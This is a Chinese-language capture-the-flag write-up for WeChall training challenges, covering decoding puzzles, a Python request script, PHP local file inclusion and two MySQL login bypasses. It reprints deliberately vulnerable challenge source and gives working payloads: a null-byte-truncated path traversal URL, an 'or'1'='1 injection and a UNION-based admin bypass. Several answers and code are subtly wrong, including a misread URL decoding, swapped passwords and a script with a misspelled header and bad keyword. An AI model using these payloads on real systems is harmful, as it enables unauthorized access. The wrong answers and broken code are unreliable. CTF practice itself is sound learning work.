Wechall 部分WP

前言：

开始打CTF，掌握一些新的姿势与知识。

这里我选择的平台是Wechall。这里从简单到难

WP部分：

Training: Get SourcedAnswer：

查看网页源代码

Training: Stegano IAnswer

这里有张图片，下载。用十六进制打开获得password

Training: Crypto - Caesar IAnswer

题目提示凯撒密码加密。这里感谢一下群里某位师傅发的进制转换器。很好用

Training: WWW-Robots (HTTP, Training)

访问robots.txt

Training: ASCIIAnswer

Ascii码转换：

Ascii:84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 101, 110, 97, 110, 114, 114, 111, 108, 97, 98, 108, 111

字符：The solution ion is: enanrroablo

密码是：enanrroablo

Encodings: URLAnswer

url编码解密
%59%69%70%70%65%68%21%20%59%6F%75%72%20%55%52%4C%20%69%73%20%63%68%61%6C%6C%65%6E%67%65%2F%74%72%61%69%6E%69%6E%67%2F%65%6E%63%6F%64%69%6E%67%73%2F%75%72%6C%2F%73%61%77%5F%6C%6F%74%69%6F%6E%2E%70%68%70%3F%70%3D%61%6C%62%65%61%63%67%65%64%63%67%67%26%63%69%64%3D%35%32%23%70%61%73%73%77%6F%72%64%3D%66%69%62%72%65%5F%6F%70%74%69%63%73%20%56%65%72%79%20%77%65%6C%6C%20%64%6F%6E%65%21

密码是：wc_profile_slide

Training: Encodings IAnswer

一把二进制：

10101001101000110100111100110100

00011101001100101111100011101000

10000011010011110011010000001101

11010110111000101101001111010001

00000110010111011101100011110111

11100100110010111001000100000110

00011110011110001111010011101001

01011100100000101100111011111110

10111100100100000111000011000011

11001111100111110111110111111100

10110010001000001101001111001101

00000110010111000011110011111100

11110011111010011000011110010111

0100110010111100100101110

联想到到二进制转ASK
密码是：fibre_optics

Training: Programming 1 (Training, Coding)

要求是：当您访问此链接时，您会收到一条消息。
将相同的消息提交回http://www.wechall.net/challenge/training/programming1/index.php?answer=the_message
您的时间限制是1.337秒

用python获取到id,在进行提交

代码：

import requests

url='http://www.wechall.net/challenge/training/programming1/index.php?action=request'

url2='http://www.wechall.net/challenge/training/programming1/index.php?answer=the_message'

def tijiao():

  headers={'user-agetn':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'}

      cookie={'xx':'xxxxx'}

       rest=requests.get(url=url,headers=headers,cookies=cookie)

        yc=url2+rest.content.decode('utf-8')

        bd=requests.get(url=yc,headers=headers,cookie=cookie)

        print(bd.content.decode('utf-8'))

tijiao()

Training: PHP LFI

本地文件包含漏洞，要求：你的任务是利用这个代码，这显然有一个LFI漏洞：../solution.php中有很多重要的东西，所以请为我们包含并执行这个文件。以下是脚本的一些示例（在下面的框中）：index.php？file = welcome index.php？file = news index.php？file = forums 为了进行调试，您可以再次查看整个源代码，也作为突出显示的版本。

题目给出的源代码：

<?php

# Higlighter Plain

if (isset($_GET['show']) && $_GET['show'] === 'source')

{

	header('Content-Type: text/plain; charset=utf8;');

	echo file_get_contents('index.php');

	die();

}

# Change dir to web root

chdir('../../../../../');

# Print the website header

define('GWF_PAGE_TITLE', 'Local File Inclusion');

require_once('challenge/html_head.php');

if (false === ($chall = WC_Challenge::getByTitle('Training: PHP LFI'))) {

	$chall = WC_Challenge::dummyChallenge('Training: PHP LFI', 2, 'challenge/training/php/lfi/up/index.php', false);

}

$chall->showHeader();

# Highlighter BBCode

if (isset($_GET['highlight']) && $_GET['highlight'] === 'christmas')

{

	echo GWF_Message::display('[PHP]'.file_get_contents($_SERVER['SCRIPT_FILENAME']).'[/PHP]');

	require_once('challenge/html_foot.php');

	return;

}

###############################

### Here is your exploit :) ###

###############################

$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';

$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for PHP>=5.3.4

$code2 = 'include $filename;';

### End of exploit ###

# Show the mission box

$url = 'index.php?file=';

$ex = array('welcome', 'news', 'forums');

$showsrc1 = 'index.php?show=source';

$showsrc2 = 'index.php?highlight=christmas';

foreach ($ex as $i => $e) { $ex[$i] = htmlspecialchars($url.$e); }

echo GWF_Box::box($chall->lang('info', array(GWF_Message::display('[PHP]'.$code.PHP_EOL.$code2.'[/PHP]'), '../solution.php', $showsrc1, $showsrc2, $ex[0], $ex[1], $ex[2])), $chall->lang('title'));

# Execute the code, using eval.

GWF_Debug::setDieOnError(false);

GWF_Debug::setMailOnError(false);

eval($code.$code_emulate_pnb); # eval the first line

echo '<div class="box">'.PHP_EOL;

echo '<div class="box_t">'.$chall->lang('example_title').' ('.htmlspecialchars($filename).')'.'</div>'.PHP_EOL;

echo '<div class="box_c">'.PHP_EOL;

if (lfiIsSafeDir($filename) === true) { eval($code2); } # Eval the second line, when safe.

else { echo GWF_HTML::error('LFI', $chall->lang('err_basedir'), false); }

echo '</div>'.PHP_EOL;

echo '</div>'.PHP_EOL;

GWF_Debug::setMailOnError(true);

GWF_Debug::setDieOnError(true);

# Show credits box

if (false !== ($minus = GWF_User::getByName('minus')))

{

	echo GWF_Box::box($chall->lang('credits', array($minus->displayProfileLink())));

}

# Show end of website

echo $chall->copyrightFooter();

require_once('challenge/html_foot.php');

### Safety first ###

function lfiIsSafeDir($filename)

{

	$valid = array(

		'pages',

		'pages/../..',

		'pages/..',

	);

	$d = dirname($filename);

	return in_array($d, $valid, true);

}

?>

通过尝试发现会把包含的文件在后缀名加上.html

然后得出结果：http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

通过%00截断

MySQL Authentication Bypass - The classic

mysql 1，给你一个表单要求你登录进行。

题目给的源代码：

<?php

/* TABLE STRUCTURE

CREATE TABLE IF NOT EXISTS users (

userid    INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,

username  VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,

password  CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL

) ENGINE=myISAM;

*/

# Username and Password sent?

if ( ('' !== ($username = Common::getPostString('username'))) && (false !== ($password = Common::getPostString('password', false))) ) {

	auth1_onLogin($chall, $username, $password);

}

/**

 * Get the database for this challenge.

 * @return GDO_Database

 */

function auth1_db()

{

	if (false === ($db = gdo_db_instance('localhost', WCC_AUTH_BYPASS1_USER, WCC_AUTH_BYPASS1_PASS, WCC_AUTH_BYPASS1_DB))) {

		die('Database error 0815_1!');

	}

	$db->setLogging(false);

	$db->setEMailOnError(false);

	return $db;

}

/**

 * Exploit this!

 * @param WC_Challenge $chall

 * @param unknown_type $username

 * @param unknown_type $password

 * @return boolean

 */

function auth1_onLogin(WC_Challenge $chall, $username, $password)

{

	$db = auth1_db();

	$password = md5($password);

	$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

	if (false === ($result = $db->queryFirst($query))) {

		echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user

		return false;

	}

	# Welcome back!

	echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);

	# Challenge solved?

	if (strtolower($result['username']) === 'admin') {

		$chall->onChallengeSolved(GWF_Session::getUserID());

	}

	return true;

}

?>

<form action="index.php" method="post">

<table>

<tr>

	<td><?php echo $chall->lang('username'); ?>:</td>

	<td><input type="text" name="username" value="" /></td>

</tr>

<tr>

	<td><?php echo $chall->lang('password'); ?>:</td>

	<td><input type="password" name="password" value="" /></td>

</tr>

<tr>

	<td></td>

	<td><input type="submit" name="login" value="<?php echo $chall->lang('btn_login'); ?>" /></td>

</tr>

</table>

</form>

　没有任何过滤

‘or’1='1即可

MySQL Authentication Bypass II：

上一题的升级版，再次查看题目给的源代码

发现秘密和用户名分开验证。做了一定的措施

但是没做过滤。

源代码：

<?php

/* TABLE STRUCTURE

CREATE TABLE IF NOT EXISTS users (

userid    INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,

username  VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,

password  CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL

) ENGINE=myISAM;

*/

# Username and Password sent?

if ( ('' !== ($username = Common::getPostString('username'))) && (false !== ($password = Common::getPostString('password', false))) ) {

	auth2_onLogin($chall, $username, $password);

}

/**

 * Get the database for this challenge.

 * @return GDO_Database

 */

function auth2_db()

{

	if (false === ($db = gdo_db_instance('localhost', WCC_AUTH_BYPASS2_USER, WCC_AUTH_BYPASS2_PASS, WCC_AUTH_BYPASS2_DB))) {

		die('Database error 0815_2!');

	}

	$db->setLogging(false);

	$db->setEMailOnError(false);

	return $db;

}

/**

 * Exploit this! It is the same as MySQL-I, but with an additional check, marked with ###

 * @param WC_Challenge $chall

 * @param unknown_type $username

 * @param unknown_type $password

 * @return boolean

 */

function auth2_onLogin(WC_Challenge $chall, $username, $password)

{

	$db = auth2_db();

	$password = md5($password);

	$query = "SELECT * FROM users WHERE username='$username'";

	if (false === ($result = $db->queryFirst($query))) {

		echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);

		return false;

	}

	#############################

	### This is the new check ###

	if ($result['password'] !== $password) {

		echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);

		return false;

	} #  End of the new code  ###

	#############################

	echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);

	if (strtolower($result['username']) === 'admin') {

		$chall->onChallengeSolved(GWF_Session::getUserID());

	}

	return true;

}

?>

<form action="index.php" method="post">

<table>

<tr>

	<td><?php echo $chall->lang('username'); ?>:</td>

	<td><input type="text" name="username" value="" /></td>

</tr>

<tr>

	<td><?php echo $chall->lang('password'); ?>:</td>

	<td><input type="password" name="password" value="" /></td>

</tr>

<tr>

	<td></td>

	<td><input type="submit" name="login" value="<?php echo $chall->lang('btn_login'); ?>" /></td>

</tr>

</table>

</form>

如果username存在则执行查询，并且为admin。我们用unnion 这条语句把判断给pass掉即可。

得出答案：

username :' union select 1,'admin' as username ,md5('1') as password from users where username ='admin'#
password:1